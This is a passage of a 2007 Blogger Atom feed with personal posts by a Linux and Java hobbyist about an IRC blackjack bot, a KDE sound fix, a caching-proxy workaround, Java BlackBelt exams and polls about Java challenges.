href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3242249210787347573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3242249210787347573'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/j2se-yummy.html' title='J2SE = yummy :)'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OCNhupYc3g0/RgjkvRCcQPI/AAAAAAAAABg/WrW0__0qBRU/s72-c/reflection.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8377833390053597557</id><published>2007-03-26T15:17:00.000+01:00</published><updated>2007-03-27T10:38:34.110+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><title type='text'>bbq project first release</title><content type='html'>Hey guys, we have a good news and a bad news today.&lt;br /&gt;&lt;br /&gt;The good news is from the bbq project. The first release (25 Mar 2007) is now available at &lt;a href="http://www.freewebs.com/quangntenemy/bbq"&gt;http://www.freewebs.com/quangntenemy/bbq&lt;/a&gt;. Download one and start customizing it for the #tbs-botzone contest now :)&lt;br /&gt;&lt;br /&gt;The bad news is also from the bbq project. Yesterday my bot lost 14 games in a row (well, there were 2 pushes though) and lost all the money :( (almost $400k) Now I have to start from scratch again. In other words, every candidate has equal chance now :P&lt;br /&gt;&lt;br /&gt;Anyway, I'm starting to work on the IRC-PRG project :P Setting up MySQL and designing the tables at the moment. Coding will start soon.&lt;br /&gt;&lt;br /&gt;Stay tuned for the next chapter :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8377833390053597557?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8377833390053597557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8377833390053597557' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8377833390053597557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8377833390053597557'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/bbq-project-first-release.html' title='bbq project first release'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6149435742580192873</id><published>2007-03-24T07:31:00.000Z</published><updated>2007-11-13T06:36:05.151Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>A visit from Microsoft?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/RgTT6BCcQOI/AAAAAAAAABY/Idqi1iqVZAs/s1600-h/M%24.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/RgTT6BCcQOI/AAAAAAAAABY/Idqi1iqVZAs/s400/M%24.png" alt="" id="BLOGGER_PHOTO_ID_5045390476226347234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Today when I was looking at the log to see how popular my blog was, I noticed this special link.&lt;br /&gt;Yes, my blog got a hit from a guy from M$.&lt;br /&gt;&lt;br /&gt;What happened to the computer world? Did Mr Gates suddenly wake up in the morning and noticed that their so-called innovative operating system Windows Vista and the Java rip-off .Net framework were a failure and decided to follow the path of the penguin in the open source world? :) Or was that just a M$ employee who got bored with the noob stuff at work and roamed the Internet looking for some fun? Or just a stupid crawler that was just leeching off my site?&lt;br /&gt;&lt;br /&gt;Looking into more details, that guy came to my site via a Google search with my nickname as the keyword. There was some information about the screen resolution, color depth and javascript enabled so I guess that shouldn't be a crawler :P&lt;br /&gt;&lt;br /&gt;Anyway, whoever it is, I suppose the mysterious visitor will reveal himself soon enough :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6149435742580192873?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6149435742580192873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6149435742580192873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6149435742580192873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6149435742580192873'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/visit-from-microsoft.html' title='A visit from Microsoft?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/RgTT6BCcQOI/AAAAAAAAABY/Idqi1iqVZAs/s72-c/M%24.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3347537140756794656</id><published>2007-03-20T14:40:00.000Z</published><updated>2007-03-27T10:38:34.137+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><title type='text'>Long time 2 :D</title><content type='html'>Hey guys, it's been a long time once again :D&lt;br /&gt;&lt;br /&gt;I have been quite busy both at work and home :) The .Net project at work was quite easy for a 1337 like me, but it's quite time-consuming :( At home I am still working on the cute bot bbq :D&lt;br /&gt;&lt;br /&gt;We're having an official irc channel for botting :D It used to be #tbs-traders but now we have moved to #tbs-botzone because Inferno didn't like that name :P&lt;br /&gt;&lt;br /&gt;At the moment the botzone members are working on 3 projects. theAnswer, Gizmore, jmoncayo and matrixman are working on the so-called "Lamb project", which is coded in php with the power of MySQL. They even have a homepage for it, &lt;a href="http://lamb-project.dyndns.org/"&gt;click here&lt;/a&gt; if you're interested :) ch0wch0w is working dependently on his ch0wb0t whose ability is still unknown :P And myself, as you already know, am working on the bbq bot which is written in Java using the irc module provided by PircBot.&lt;br /&gt;&lt;br /&gt;Our first target is to win $1 million from playing blackjack with Shepp. At the moment my bot seems to be leading with $167142 in the bank after 2837 games. theAnswer and Gizmore's bots are still far away after losing all their money, both have played around 1000 games. Other players' status are unknown. But our result is still so far from the legendary No0ther1 who had played 201801 games, and won more than $1 million but unfortunately lost them all :P&lt;br /&gt;&lt;br /&gt;As I only have 1-2 hours spare to work on the bot each day, my bot hasn't progress so far. At the moment it needs a little refactoring due to bad design - something that always happens when you try to solve an AI problem with some quick and dirty code :P Hopefully after this last refactoring my bot will become stable and available for non-commercial purpose soon :)&lt;br /&gt;&lt;br /&gt;What's more, after our bots going stable, we're planning to write an irc-based RPG :) Come join us anytime soon on #tbs-botzone at irc.idlemonkeys.net :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3347537140756794656?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3347537140756794656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3347537140756794656' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3347537140756794656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3347537140756794656'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/long-time-2-d.html' title='Long time 2 :D'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-232015998328210262</id><published>2007-03-13T06:06:00.000Z</published><updated>2012-02-11T10:34:37.822Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='service'/><category scheme='http://www.blogger.com/atom/ns#' term='alsa'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Problem with KDE sound</title><content type='html'>Is KDE your favourite desktop environment? I'm using it because it's much cooler than Gnome :P&lt;br /&gt;As a penguin tamer, I always read &lt;a href="http://www.linux-watch.com/"&gt;the cool Linux articles by Steven J. Vaughan-Nichols&lt;/a&gt;. One of my favourite was his article titled &lt;a href="http://www.linux-watch.com/news/NS5567675142.html"&gt;"Little Red Riding Tux meets the Big Bad Wolf"&lt;/a&gt;. The podcast was so cool that I wanted to make it my KDE startup theme so that I can hear it everytime I start my Linux box ;)&lt;br /&gt;Unfortunately, for some weird reason, KDE just refused to play it :P Maybe because of the file being stored in mp3 format. What's even worse, it caused my sound driver to stop working -.- And for some weird reason, even when I reseted the sound theme to default, sometimes the old config still popped out of nowhere.&lt;br /&gt;Care less about the KDE config bug :P Atm all I need is a way to get my sound working without having to restart KDE. A simple solution is to restart the sound driver. As I am using alsa, the command is&lt;br /&gt;&lt;pre&gt;service alsa restart&lt;/pre&gt;That's it for now! Have fun taming your penguin guys ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-232015998328210262?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/232015998328210262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=232015998328210262' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/232015998328210262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/232015998328210262'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/problem-with-kde-sound.html' title='Problem with KDE sound'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8651123063709657093</id><published>2007-03-11T03:38:00.000Z</published><updated>2007-03-27T10:38:34.139+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><title type='text'>Long time</title><content type='html'>Hey guys, here's a new post again :D&lt;br /&gt;It's been quite a long time since the last post, what have I been up to? :P&lt;br /&gt;I had a quite busy week with a new .Net project at work and an IRC bot project at home. I've been looking for a PhD opportunity too, since it's now that time of the year again :P&lt;br /&gt;Throw away the boring technical stuff, the bot is the main theme today :D&lt;br /&gt;If you still remember, I have been using the Pyborg IRC bot by &lt;a href="http://www.soul-less.pwp.blueyonder.co.uk/"&gt;Tom Morton&lt;/a&gt; for quite a while. Recently the need for it grows stronger and the BADC0DED Python code is quite hard to maintain, so I decided to start a new Java project for it :)&lt;br /&gt;My new bot uses &lt;a href="http://www.jibble.org/pircbot.php"&gt;PircBot&lt;/a&gt; as the core IRC module. At the moment the core is almost complete with a secure user system and a flexible command system :) What's cool is that commands can be updated on-the-fly (i.e no need to restart the bot everytime a command is added/updated) :D Maybe in the future there'll be needs for observer ability - so that messages sent to the bot will be forwarded to different observers for misc processing :)&lt;br /&gt;At the moment the bot is named &lt;span style="font-weight: bold;"&gt;bbq&lt;/span&gt; but I'm not quite content with it :P Maybe it needs another cool and cute name? :P Any idea?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8651123063709657093?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8651123063709657093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8651123063709657093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8651123063709657093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8651123063709657093'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/long-time.html' title='Long time'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6682150502486422819</id><published>2007-03-05T04:12:00.000Z</published><updated>2007-11-13T06:56:40.921Z</updated><title type='text'>Blue belt</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OCNhupYc3g0/ReuY2pdtBVI/AAAAAAAAABQ/LnKSulkdFs0/s1600-h/bluebelt.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_OCNhupYc3g0/ReuY2pdtBVI/AAAAAAAAABQ/LnKSulkdFs0/s400/bluebelt.png" alt="" id="BLOGGER_PHOTO_ID_5038288672754828626" border="0" /&gt;&lt;/a&gt;Yes, finally I have achieved it! The long waited blue belt!&lt;br /&gt;Next target will be the brown belt of course ;)&lt;br /&gt;Oh and what's more special, it's my birthday today!&lt;br /&gt;Joy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6682150502486422819?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6682150502486422819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6682150502486422819' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6682150502486422819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6682150502486422819'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/blue-belt.html' title='Blue belt'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_OCNhupYc3g0/ReuY2pdtBVI/AAAAAAAAABQ/LnKSulkdFs0/s72-c/bluebelt.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8036621341882669710</id><published>2007-03-04T04:09:00.000Z</published><updated>2012-02-11T10:34:37.869Z</updated><title type='text'>Welcome :)</title><content type='html'>Welcome to my new blog - Penguin tamer :)&lt;br /&gt;&lt;br /&gt;Why create another blog, while I already have (a very nice) one? :D Well, as you already know, I have a penguin at home :) Although I have been a skillful Tiger tamer for a few years, taming the penguin is still a challenge for me. Mostly because since I started going to prison (aka work :D), I don't have much time with the penguin anymore. And as the penguin is surely more powerful than the other competitors from M$ and Mac, more effort is needed in order to control him :)&lt;br /&gt;&lt;br /&gt;Some info about my penguin:&lt;br /&gt;- Distro: Mandriva 2007 Beta 2&lt;br /&gt;- Kernel: 2.6.17-3mdv&lt;br /&gt;- Desktop: KDE 3.5.4, fluxbox 0.9.15&lt;br /&gt;(More will be added later)&lt;br /&gt;&lt;br /&gt;I'm just above the beginner level so anything I post will be inaccurate/incomplete. Please feel free to add comments/suggestions :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8036621341882669710?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8036621341882669710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8036621341882669710' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8036621341882669710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8036621341882669710'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/welcome.html' title='Welcome :)'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7469913481943999317</id><published>2007-03-01T09:38:00.000Z</published><updated>2007-11-13T06:37:19.720Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='quangnitron'/><category scheme='http://www.blogger.com/atom/ns#' term='proxomitron'/><title type='text'>proxomitron - quangnitron</title><content type='html'>Maybe some of you already know, I have a stupid firewall at work that caches every single page, even when the page tells it not to do so.&lt;br /&gt;&lt;br /&gt;This thing caused me a serious problem, especially when taking &lt;a href="http://www.javablackbelt.com/"&gt;Java BlackBelt&lt;/a&gt; exams. I needed to reload the page all the time to get a fresh copy of the question.&lt;br /&gt;&lt;br /&gt;What even worse is that when the page redirects to another page, mostly error page, refreshing won't work. I had to add dummy parameters to the URL using the &lt;a href="http://livehttpheaders.mozdev.org/"&gt;LiveHTTPHeaders Firefox extension&lt;/a&gt;. This is quite a tedious job.&lt;br /&gt;&lt;br /&gt;Well, a proxy that generates random parameters will solve the problem. I decided to start work on my quangnitron project again, however it is not an easy task.&lt;br /&gt;&lt;br /&gt;Another idea crossed my mind today. Remember, even when the cache is still there, refreshing the browser will still get you the fresh version of the page? Why is this? A little analysis on the requests sent by the browser brought me to the long-waited result. Yes! It's the Cache-Control: max-age=0 header that does the job :) Fortunately the stupid firewall still respects this :)&lt;br /&gt;&lt;br /&gt;No of course I wouldn't have to manually add this header to the request every time using LiveHTTPHeaders. Because it can be done nicely using &lt;a href="http://www.proxomitron.info/"&gt;Proxomitron&lt;/a&gt;. Now with Proxomitron it's freedom here :D&lt;br /&gt;&lt;br /&gt;Oh and since Proxomitron's author, Scott Lemmon, passed away a few years ago, I think I should continue working on my quangnitron project to create a cross-platform version of this wonderful tool. With more features added in the future of course :)&lt;br /&gt;&lt;br /&gt;Well, maybe I've been saying too much :P Making quangnitron as good as Proxomitron is a little too big for a lazy monkey like me. Anyone wanna teamwork? :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7469913481943999317?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7469913481943999317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7469913481943999317' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7469913481943999317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7469913481943999317'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/proxomitron-quangnitron.html' title='proxomitron - quangnitron'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8228680743305690148</id><published>2007-02-25T07:55:00.000Z</published><updated>2007-02-25T08:48:08.879Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='jbb'/><title type='text'>Woot! 100%</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OCNhupYc3g0/ReFBBhOYCAI/AAAAAAAAABE/d8iTl1kRlXw/s1600-h/jbbio.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_OCNhupYc3g0/ReFBBhOYCAI/AAAAAAAAABE/d8iTl1kRlXw/s400/jbbio.png" alt="" id="BLOGGER_PHOTO_ID_5035377352731265026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It's been quite a long time since I last got a perfect score at &lt;a href="http://www.javablackbelt.com"&gt;JBB&lt;/a&gt;. The last time was almost a month ago in the SQL &amp;amp; RDB - Basic exam. But today I got a perfect score again. What can I say? Great! Thanks for my years of experience as a challenger. Anyway, kampai for now!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8228680743305690148?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8228680743305690148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8228680743305690148' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8228680743305690148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8228680743305690148'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/woot-100.html' title='Woot! 100%'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_OCNhupYc3g0/ReFBBhOYCAI/AAAAAAAAABE/d8iTl1kRlXw/s72-c/jbbio.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-636046670586146774</id><published>2007-02-21T09:58:00.000Z</published><updated>2007-02-21T10:12:28.433Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='applet'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Java-Applet tutorial?</title><content type='html'>&lt;!-- // Begin Pollhost.com Poll Code // --&gt;Do you want a Java-Applet tutorial? What would you like to be included in the tutorial? Cast your vote here ;)&lt;br /&gt;&lt;br /&gt;&lt;form method="post" action="http://poll.pollhost.com/vote.cgi"&gt;&lt;table border="0" cellpadding="2" cellspacing="0" width="500"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;b&gt;Do you want a Java-Applet tutorial?&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="1" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Yes, please!&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="2" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No, I know enough Java for these challs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="3" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No, it's more fun to solve them all by myself ;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="4" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No - other&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="5" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Doesn't matter, I don't want to touch those evil challs you created :P&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;input name="config" value="cXVhbmdudGVuZW15CTExNzIwNTYwOTQJRUVFRUVFCTAwMDAwMAlBcmlhbAlBc3NvcnRlZA" type="hidden"&gt;&lt;center&gt;&lt;input value="Vote" type="submit"&gt;  &lt;input name="view" value="View" type="submit"&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2" bg="" style="color: rgb(255, 255, 255);" align="right"&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Arial;" &gt;&lt;a href="http://www.pollhost.com/"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Free polls from Pollhost.com&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/form&gt;&lt;br /&gt;&lt;!-- // End Pollhost.com Poll Code // --&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-636046670586146774?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/636046670586146774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=636046670586146774' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/636046670586146774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/636046670586146774'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/java-applet-tutorial.html' title='Java-Applet tutorial?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3250664358559369549</id><published>2007-02-21T09:20:00.000Z</published><updated>2007-11-13T06:32:42.575Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><title type='text'>New version of qtj 1?</title><content type='html'>Since many are having difficulty in picking the right solution from the many that give a perfect score, I'm considering to add some more checks into the challenge to make it easier. What do you think?&lt;br /&gt;&lt;!-- // Begin Pollhost.com Poll Code // --&gt;&lt;br /&gt;&lt;form method="post" action="http://poll.pollhost.com/vote.cgi"&gt;&lt;table bg="" style="width: 500px;" border="0" cellpadding="2" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;b&gt;Do you want a new and easier version of "quangntenemy teaches Java"?&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="1" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Yes, it's a real pain to find the only solution among the "perfect score"&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="2" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Yes, it's too hard for me&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="3" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Yes - other&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="4" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No, it's more fun as it is&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="5" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No, it's not hard at all&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="6" type="radio"&gt;&lt;/td&gt;&lt;td&gt;No - other&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="7" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Doesn't matter, I already solved it :P&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;input name="answer" value="8" type="radio"&gt;&lt;/td&gt;&lt;td&gt;Doesn't matter, I wouldn't want to touch it :P&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;input name="config" value="cXVhbmdudGVuZW15CTExNzIwNTM0NDIJRUVFRUVFCTAwMDAwMAlBcmlhbAlBc3NvcnRlZA" 